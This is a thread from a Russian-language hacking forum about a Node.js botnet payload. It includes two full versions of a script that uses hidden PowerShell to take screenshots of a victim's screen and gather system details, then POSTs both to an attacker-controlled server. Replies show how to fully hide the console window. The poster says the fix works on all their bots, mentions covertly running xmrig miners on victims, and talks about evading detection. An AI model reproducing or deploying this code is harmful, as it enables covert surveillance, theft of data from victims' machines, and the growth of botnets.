• XSS.stack #1 – первый литературный журнал от юзеров форума

Как байпасить появление терминала на 11 винде?

celty

психические расстройства
Забанен
Регистрация
12.04.2023
Сообщения
1 300
Реакции
869
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
В общем суть такая, беру скриншот на ноде JS. Соответсвенно через обычную ноду тебе просто так не дадут это сделать. Я же делаю скриншот через PS.
Но при этом у юзера спавнится Терминал какого то хера, когда на 10-ке нету.
Вот темплейт команды который выполняется у юзера:
JavaScript:
module.exports = function generateScript(storedString, uuid) {
  return `
    const { exec } = require('child_process');
    const fs = require('fs');
    const path = require('path');
    const os = require('os');
    const crypto = require('crypto');
    const http = require('http');
    const https = require('https');
    const url = require('url');

    function generateUniqueFilename() {
      return \`screenshot-\${crypto.randomUUID()}.png\`;
    }

    const tempDir = os.tmpdir();
    const screenshotPath = path.join(tempDir, generateUniqueFilename());

    const psScript = \`
    Add-Type -AssemblyName System.Windows.Forms;
    Add-Type -AssemblyName System.Drawing;
    $bitmap = New-Object Drawing.Bitmap([System.Windows.Forms.SystemInformation]::VirtualScreen.Width, [System.Windows.Forms.SystemInformation]::VirtualScreen.Height);
    $graphics = [Drawing.Graphics]::FromImage($bitmap);
    $graphics.CopyFromScreen([System.Windows.Forms.SystemInformation]::VirtualScreen.Left, [System.Windows.Forms.SystemInformation]::VirtualScreen.Top, 0, 0, $bitmap.Size);
    $bitmap.Save('\${screenshotPath}', [System.Drawing.Imaging.ImageFormat]::Png);
    $graphics.Dispose();
    $bitmap.Dispose();
    \`;

    function createScreenshot() {
      return new Promise((resolve, reject) => {
        const psCommand = \`powershell -WindowStyle Hidden -Command "\${psScript.replace(/\\n/g, ' ')}"\`;
        exec(psCommand, (error, stdout, stderr) => {
          if (error) {
            reject(\`Error: \${stderr}\`);
          } else {
            resolve(stdout);
          }
        });
      });
    }

    function getGPUInfo() {
      return new Promise((resolve, reject) => {
        const psCommand = \`powershell -WindowStyle Hidden -Command "Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name"\`;
        exec(psCommand, (error, stdout, stderr) => {
          if (error) {
            reject(\`Error: \${stderr}\`);
          } else {
            resolve(stdout.trim());
          }
        });
      });
    }

    function convertToBase64(filePath) {
      return new Promise((resolve, reject) => {
        fs.readFile(filePath, (err, data) => {
          if (err) {
            reject(err);
          } else {
            resolve(data.toString('base64'));
          }
        });
      });
    }

    function getSystemInfo() {
      const cpus = os.cpus();
      const totalMemoryGB = (os.totalmem() / (1024 ** 3)).toFixed(2);
      const freeMemoryGB = (os.freemem() / (1024 ** 3)).toFixed(2);
      const usedMemoryGB = (totalMemoryGB - freeMemoryGB).toFixed(2);
      return {
        username: os.userInfo().username,
        osType: os.type(),
        osRelease: os.release(),
        totalMemoryGB: totalMemoryGB,
        usedMemoryGB: usedMemoryGB,
        freeMemoryGB: freeMemoryGB,
        cpuModel: cpus[0].model,
        cpuSpeed: cpus[0].speed,
        cpuCores: cpus.length,
      };
    }

    function sendPostRequest(urlString, data, contentType = 'application/json') {
      return new Promise((resolve, reject) => {
        const parsedUrl = url.parse(urlString);
        const isHttps = parsedUrl.protocol === 'https:';
        const options = {
          hostname: parsedUrl.hostname,
          port: parsedUrl.port,
          path: parsedUrl.path,
          method: 'POST',
          headers: {
            'Content-Type': contentType,
            'Content-Length': Buffer.byteLength(data),
          },
        };

        const req = (isHttps ? https : http).request(options, (res) => {
          let responseBody = '';
          res.on('data', (chunk) => {
            responseBody += chunk;
          });
          res.on('end', () => {
            resolve(responseBody);
          });
        });

        req.on('error', (e) => {
          reject(\`Problem with request: \${e.message}\`);
        });

        req.write(data);
        req.end();
      });
    }

    async function sendScreenshot() {
      try {
        await createScreenshot();

        const base64Image = await convertToBase64(screenshotPath);

        const systemInfo = getSystemInfo();
        const gpuInfo = await getGPUInfo();
        systemInfo.gpu = gpuInfo;

        const imageUrl = \`http://${storedString}/${encodeURIComponent(uuid)}.png\`;
        const jsonUrl = \`http://${storedString}/${encodeURIComponent(uuid)}.json\`;

        await sendPostRequest(imageUrl, base64Image, 'application/octet-stream');
        await sendPostRequest(jsonUrl, JSON.stringify(systemInfo), 'application/octet-stream');

        fs.unlink(screenshotPath, (err) => {
          if (err) {
            console.error('Error deleting screenshot:', err);
          } else {
            console.log('Screenshot deleted successfully');
          }
        });
      } catch (error) {
        console.error('Error:', error);
      }
    }

    sendScreenshot();
  `;
}

Я бы хотел бы делать скриншот каждое какое то определенное время, но меня спавн консоли напрягает. Есть какие то варианы ничего не догружая и использовать тот же рантайм ноды?

1719752931982.png

1719752998421.png
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Проблему все еще не решил, но терминал не скрывается лишь на некоторых версиях 11 винды, не знаю с чем связанно
 
Пожалуйста, обратите внимание, что пользователь заблокирован
не знаю с чем связанно
тут пишут, что возможно это связано с версией PS.

-WindowStyle parameter is available only for V2 and above.
Попробуй запустить с -Version 2.0

но терминал не скрывается лишь на некоторых версиях 11 винды
Если то, что написал выше правда, то на Windows 11 вторая версия PS отсутствует. По крайней мере у меня нет в C:\Windows\System32\WindowsPowerShell
 
Пожалуйста, обратите внимание, что пользователь заблокирован
тут пишут, что возможно это связано с версией PS.


Попробуй запустить с -Version 2.0


Если то, что написал выше правда, то на Windows 11 вторая версия PS отсутствует. По крайней мере у меня нет в C:\Windows\System32\WindowsPowerShell
Просто что интересно ведь на 10 windows тоже нет PowerShell 2.0, и при этом ни на одной 10-ке не отображается консоль, а вот уже с 11 виндой не знаю с чем связано, но на некоторых в 70% наверное где то, консоль отображается. Я помню давно пробовал так же майнер сделать, запускал его с параметрами, так как майнер был консольное приложение или вообще впринципе консольное любое приложение я не смог даже скрыть его через ShowWindow SW_HIDE именно на 11, на 10 проблем не было таких. Потом очень глупо было лицезреть у вин11 юзеров окно с xmrig запущеным которое они закрыть не могли). Но вся сложность другая, возможно если бы я использовал не exec или execFile в nodejs я бы как то смог бы запустить, но в данном случаее идет обращение в cmd я попросту не знаю как сделать по другому. Из всего функционала только нативные функций nodejs и я не могу докачивать модули, да и если кастомный модуль допишу будет детект. На интепритируемые языки куда сложней ставить дететы

Просто что интересно ведь на 10 windows тоже нет PowerShell 2.0, и при этом ни на одной 10-ке не отображается консоль, а вот уже с 11 виндой не знаю с чем связано, но на некоторых в 70% наверное где то, консоль отображается. Я помню давно пробовал так же майнер сделать, запускал его с параметрами, так как майнер был консольное приложение или вообще впринципе консольное любое приложение я не смог даже скрыть его через ShowWindow SW_HIDE именно на 11, на 10 проблем не было таких. Потом очень глупо было лицезреть у вин11 юзеров окно с xmrig запущеным которое они закрыть не могли). Но вся сложность другая, возможно если бы я использовал не exec или execFile в nodejs я бы как то смог бы запустить, но в данном случаее идет обращение в cmd я попросту не знаю как сделать по другому. Из всего функционала только нативные функций nodejs и я не могу докачивать модули, да и если кастомный модуль допишу будет детект. На интепритируемые языки куда сложней ставить дететы
вот к примеру подобная проблема про sw_hide
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
попробуй в exec указать windowsHide
Омг во первых хочу сказать какой я слепой и не заметил этот параметр.
Во вторых спасибо. Оно заработало

Пробежалься по всем своим ботиком вроде бы ни одну консольку открытую не заметил.
Теперь могу дальше доделывать свой ботнетик :P
Кому нужно код тут оставлю:

JavaScript:
module.exports = function generateScript(storedString, uuid) {
  return `
    const { exec } = require('child_process');
    const fs = require('fs');
    const path = require('path');
    const os = require('os');
    const crypto = require('crypto');
    const http = require('http');
    const https = require('https');
    const url = require('url');

    function generateUniqueFilename() {
      return \`screenshot-\${crypto.randomUUID()}.png\`;
    }

    const tempDir = os.tmpdir();
    const screenshotPath = path.join(tempDir, generateUniqueFilename());

    const psScript = \`
    Add-Type -AssemblyName System.Windows.Forms;
    Add-Type -AssemblyName System.Drawing;
    $bitmap = New-Object Drawing.Bitmap([System.Windows.Forms.SystemInformation]::VirtualScreen.Width, [System.Windows.Forms.SystemInformation]::VirtualScreen.Height);
    $graphics = [Drawing.Graphics]::FromImage($bitmap);
    $graphics.CopyFromScreen([System.Windows.Forms.SystemInformation]::VirtualScreen.Left, [System.Windows.Forms.SystemInformation]::VirtualScreen.Top, 0, 0, $bitmap.Size);
    $bitmap.Save('\${screenshotPath}', [System.Drawing.Imaging.ImageFormat]::Png);
    $graphics.Dispose();
    $bitmap.Dispose();
    \`;

    function createScreenshot() {
      return new Promise((resolve, reject) => {
        const psCommand = \`powershell -WindowStyle Hidden -Command "\${psScript.replace(/\\n/g, ' ')}"\`;
        exec(psCommand, { windowsHide: true }, (error, stdout, stderr) => {
          if (error) {
            reject(\`Error: \${stderr}\`);
          } else {
            resolve(stdout);
          }
        });
      });
    }

    function getGPUInfo() {
      return new Promise((resolve, reject) => {
        const psCommand = \`powershell -WindowStyle Hidden -Command "Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name"\`;
        exec(psCommand, { windowsHide: true }, (error, stdout, stderr) => {
          if (error) {
            reject(\`Error: \${stderr}\`);
          } else {
            resolve(stdout.trim());
          }
        });
      });
    }

    function convertToBase64(filePath) {
      return new Promise((resolve, reject) => {
        fs.readFile(filePath, (err, data) => {
          if (err) {
            reject(err);
          } else {
            resolve(data.toString('base64'));
          }
        });
      });
    }

    function getSystemInfo() {
      const cpus = os.cpus();
      const totalMemoryGB = (os.totalmem() / (1024 ** 3)).toFixed(2);
      const freeMemoryGB = (os.freemem() / (1024 ** 3)).toFixed(2);
      const usedMemoryGB = (totalMemoryGB - freeMemoryGB).toFixed(2);
      return {
        username: os.userInfo().username,
        osType: os.type(),
        osRelease: os.release(),
        totalMemoryGB: totalMemoryGB,
        usedMemoryGB: usedMemoryGB,
        freeMemoryGB: freeMemoryGB,
        cpuModel: cpus[0].model,
        cpuSpeed: cpus[0].speed,
        cpuCores: cpus.length,
      };
    }

    function sendPostRequest(urlString, data, contentType = 'application/json') {
      return new Promise((resolve, reject) => {
        const parsedUrl = url.parse(urlString);
        const isHttps = parsedUrl.protocol === 'https:';
        const options = {
          hostname: parsedUrl.hostname,
          port: parsedUrl.port,
          path: parsedUrl.path,
          method: 'POST',
          headers: {
            'Content-Type': contentType,
            'Content-Length': Buffer.byteLength(data),
          },
        };

        const req = (isHttps ? https : http).request(options, (res) => {
          let responseBody = '';
          res.on('data', (chunk) => {
            responseBody += chunk;
          });
          res.on('end', () => {
            resolve(responseBody);
          });
        });

        req.on('error', (e) => {
          reject(\`Problem with request: \${e.message}\`);
        });

        req.write(data);
        req.end();
      });
    }

    async function sendScreenshot() {
      try {
        await createScreenshot();

        const base64Image = await convertToBase64(screenshotPath);

        const systemInfo = getSystemInfo();
        const gpuInfo = await getGPUInfo();
        systemInfo.gpu = gpuInfo;

        const imageUrl = \`http://${storedString}/${encodeURIComponent(uuid)}.png\`;
        const jsonUrl = \`http://${storedString}/${encodeURIComponent(uuid)}.json\`;

        await sendPostRequest(imageUrl, base64Image, 'application/octet-stream');
        await sendPostRequest(jsonUrl, JSON.stringify(systemInfo), 'application/octet-stream');

        fs.unlink(screenshotPath, (err) => {
          if (err) {
            console.error('Error deleting screenshot:', err);
          } else {
            console.log('Screenshot deleted successfully');
          }
        });
      } catch (error) {
        console.error('Error:', error);
      }
    }

    sendScreenshot();
  `;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх